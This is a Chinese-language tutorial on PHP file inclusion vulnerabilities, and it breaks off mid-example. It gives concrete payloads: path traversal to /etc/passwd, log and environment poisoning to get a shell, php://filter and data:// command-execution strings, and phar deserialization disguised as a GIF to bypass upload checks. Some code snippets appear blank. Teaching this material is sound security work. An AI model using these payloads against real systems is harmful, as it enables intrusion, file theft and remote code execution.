# 07.文件包含漏洞 ## 1. 漏洞概述 程序在引用文件的时,引用的文件名,用户可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。 程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。 几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在 PHP Web Application 中居多, 而在 JSP、ASP、ASP.NET 程序中却非常少,甚至没有,这是有些语言设计的弊端。在 PHP 中经常出现包含漏洞,但这并不意味这其他语言不存在。 ### 1.1 常见文件包含函数 ```php include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行; require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本; include_once()和 require_once():若文件中代码已被包含,则不会再次包含。 ``` ### 1.2 代码分析  `$_GET['filename']`接收客户端传的参数,其中没有任何过滤带入到 include 函数中,include 包含这个文件,引入到当前文件中,因此会造成文件包含漏洞。 ### 1.3 利用方法 文件包含漏洞,需要引入上传的文件到网站目录,或服务器内部的文件,而且权限是可读,才能引入进来,或远程包含进来,但是需要条件。 ### 1.4 本地文件包含 本地包含文件,被包含的文件在本地。 #### 1.4.1 文件包含/etc/passwd 如果存在漏洞,文件又存在的时候,不是 php文件会被读取显示在页面中。/etc/passwd文件是 linux 里的敏感信息,文件里存有linux用户的配置信息。 `?filename=../../../../../../../etc/passwd&submit=1`  #### 1.4.2 文件包含图片 寻找网站上传点,把 php 恶意代码文件改成 jpg 上传到网站上,本地包含引入恶意代码,当文件被引入后,代码就被执行。 `` 保存为 shell.jpg 上传图片格式到网站,再用文件包含漏洞引入图片,成功执行代码。   ### 1.5 包含日志文件 getshell #### 1.5.1 原理分析 中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志有 php 恶意代码,也可导致 getshell。 使用 burpsuite 访问GET ,填写 `` linux 日志文件权限默认是 root,而php 的权限是 www-data,一般情况下都是读取不了,如果是 windows 环境下,权限是允许的。 linux 默认的 apache 日志文件路径 访问日志: `/var/log/apache2/access.log` 错误日志: `/var/log/apache2/error.log` 把文件日志包含进来即可。 #### 1.5.2 搭建测试环境 ```php ``` #### 1.5.3 抓包测试   #### 1.5.4 包含access.log  ### 1.6 包含环境变量 getshell 在User-Agen写入php代码  /proc/self/environ 这个文件里保存了系统的一些变量,这里会有用户访问web的session信息,其中也会包含user-agent的参数,这个参数是你浏览器名称的参数。而这个参数在我们客户端是可以修改的。  如果权限足够(大部分情况下/proc目录下的文件是不行的),包含这个文件就能 getshell ## 2. 伪协议 当我们本地写不进去,远程又包含不了,怎么办呢,这时我们就需要用到php伪协议了也称封装器,直接写入代码执行。 ### 2.1 常见协议 file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 ssh2:// — Secure Shell 2 rar:// — RAR ogg:// — 音频流 expect:// — 处理交互式的流  ### 2.2 php.ini 参数设置 在 php.ini 里有两个重要的参数:allow_url_fopen、allow_url_include。 allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件; allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;  修改一下php配置文件  查看效果  ### 2.3 各种协议利用方法 #### 2.3.1 file:// 通过file协议可以访问本地文件系统,读取到文件的内容,不受allow_url_fopen与allow_url_include的影响 `/test.php?file=C:\Windows\System32\drivers\etc\hosts`  #### 2.3.2 http://、ftp:// 前提条件 ```php allow_url_fopen = On allow_url_include = On ```  #### 2.3.3 php://filter php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式的文件函数非常有用,类似readfile()、file()和file_get_contents(),在数据流内容没有读取之前没有机会应用其他过滤器有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,这时候我们可以以base64编码的方式读取指定文件的源码,payload: `php://filter/convert.base64 -encode/resource= 文件路径` `/test.php?file=php://filter/convert.base64-encode/resource=./test.php`  Base64解码之后可以得到数据内容   #### 2.3.4 php://input 前提条件 ```php allow_url_include = On 对allow_url_fopen不做要求 ``` php://input可以读取没有处理过的post数据,就是用它之后,post直接放完整的php代码就可以 访问此页面 ```php test.php?file=php://input ``` 并且在请求体里加上 Payload   执行系统命令  写入shell `');?>`   #### 2.3.5 zlib://、bzip2:// 压缩流,可以访问压缩文件中的子文件,将子文件的内容当做php代码执行,不受allow_url_fopen、allow_url_include影响 文件路径无绝对路径限制;zlib://协议文件压缩为zip或gz都可以,bzip2://协议文件压缩为bz2;后缀名也可以改为其他如图片后缀 ``` /test.php?file=compress.zlib://shell.zip /test.php?file=compress.bzip2://shell.bz2 ``` 将phpinfo.php压缩之后,上传并且利用伪协议包含  #### 2.3.6 data:// 前提条件 ``` php版本大于等于php5.2 allow_url_fopen = On allow_url_include = On ``` 利用 data:// 伪协议可以直接达到执行php代码的效果,例如执行 phpinfo() 函数,`data://text/plain/ ;base64,php 马的 base64 形式`,如果base64加密出现+需要做URL编码 ``` base64编码后:PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg== /test.php?file=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg== ```  使用phpinfo()  如果不把 + URL编码成 %2b 是会报错的 #### 2.3.7 zip:// 压缩流,可以访问压缩文件中的子文件,将子文件的内容当做php代码执行,不受allow_url_fopen、allow_url_include影响 文件路径必须为绝对路径;zip文件后缀名可以改为其他如图片后缀;#进行url编码为%23 ``` /test.php?file=zip://C:/Users/Administrator/Desktop/usbwebserver/root/shell.zip%23shell.php ```  将shell.zip改为jpg格式后尝试 ``` /test.php?file=zip://C:/Users/Administrator/Desktop/usbwebserver/root/shell.jpg%23shell.php ```  #### 2.3.8 glob:// PHP 伪协议 glob:// 可以用于获取符合指定模式的文件路径列表。类似于原生的 glob() 函数,但 glob:// 可以用于读取远程文件系统或者压缩文件中的文件列表。例如: ```php $files = glob('glob://*.php'); print_r($files); ``` 这个例子将返回所有 PHP 扩展名的文件列表,不仅仅限于当前服务器上的文件系统。可以通过指定不同的调用参数,参数之间使用“|” 分隔,例如“glob://*.txt|flags=GLOB_BRACE”,来指定返回不同的结果集。 网站源码如下 ```php getFilename()); echo ''; } ?> ``` 遍历文件或者通配符,打印需要一个过程 ```php /glob.php?file=glob://C:/Users/Administrator/Desktop/usbwebserver/root/*.* ```  #### 2.3.9 phar:// PHP 伪协议 phar:// 可以用于在 PHP 中访问 Phar(PHP 归档)文件中的资源(如文件和目录)。 Phar 文件是一个 PHP 应用程序或库的预打包归档文件,它可以包含代码、配置、模板、图片、音频等相关资源。Phar 格式相当于 Java 中的 JAR 包,.NET 中的 DLL 文件,或者 Python 中的 Egg 包。 通过 phar:// 协议,我们可以在 PHP 中方便地对 Phar 文件中的特定资源进行读取、写入、修改、添加和删除等操作,而无需解压缩整个 Phar 文件,从而提高了文件操作的效率。 举例来说,假设我们的目录结构如下: ``` app.phar index.php ``` 其中,app.phar 是一个包含库代码和配置文件的 Phar 文件。我们可以通过以下方式在 index.php 中调用 Phar 文件中包含的某个文件: ``` $pharFile = 'phar://app.phar/path/to/file.txt'; $fileContent = file_get_contents($pharFile); ``` 这是将 Phar 文件中 /path/to/file.txt 文件的内容读取到 $fileContent 变量中。可以看出,通过 phar:// 协议,我们可以轻松地访问 Phar 文件中的资源。 可以调用phar://的函数列表 | fileatime | filectiome | file_exists | file_get_contents | | ----------------- | ------------- | ------------ | ----------------- | | file_put_contents | file | filegroup | fopen | | fileinode | filemtiome | fileowner | fileperms | | is_dir | is_executable | is_file | is_link | | is_readable | is_writable | is_writeable | parse_ini_file | | copy | unlink | stat | readfile | phar文件要能够上传到服务器端。如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数要有可用的魔术方法作为“跳板”。文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。 可以理解为一个标志,格式为` xxx `,前面内容不限,但必须以__HALT_COMPILER() ;?> 来结尾,否则phar扩展将无法识别这个文件为phar文件。 phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。 ##### 2.3.9.1 案例 注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。  phar.php ```php startBuffering(); $phar->setStub(""); // 设置 stub $o = new TestObject(); $o -> data='eagleslab'; $phar->setMetadata($o); // 将自定义的 meta-data 存入 manifest $phar->addFromString("test.txt", "test"); // 添加要压缩的文件 // 签名自动计算 $phar->stopBuffering(); ?> ``` 访问后,会生成一个phar.phar在当前目录下。用HxD分析可以看到是meta-data是以序列化的形式存储的。  有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过 phar:// 伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下: phartest.php ```php data; // TODO: Implement __destruct() method. } } include('phar://phar.phar'); ?> ``` 访问结果如下  将phar伪造成其他格式的文件 在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是``这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。 phar.php ```php startBuffering(); $phar -> setStub('GIF89a'.''); // 设置 stub ,增加 gif文件头 $phar ->addFromString('test.txt','test'); // 添加要压缩的文件 $object = new TestObject(); $object -> data = 'eagleslab'; $phar -> setMetadata($object); // 将自定义 meta-data 存入 manifest $phar -> stopBuffering(); ?> ``` 采用这种方法可以绕过很大一部分上传检测。 验证环境准备 ```php upload_file.php ,后端检测文件上传,文件类型是否为 gif ,文件后缀名是否为 gif upload_file.html 文件上传表单 file_un.php 存在 file_exists() ,并且存在 __destruct() ``` upload_file.php内容 ```php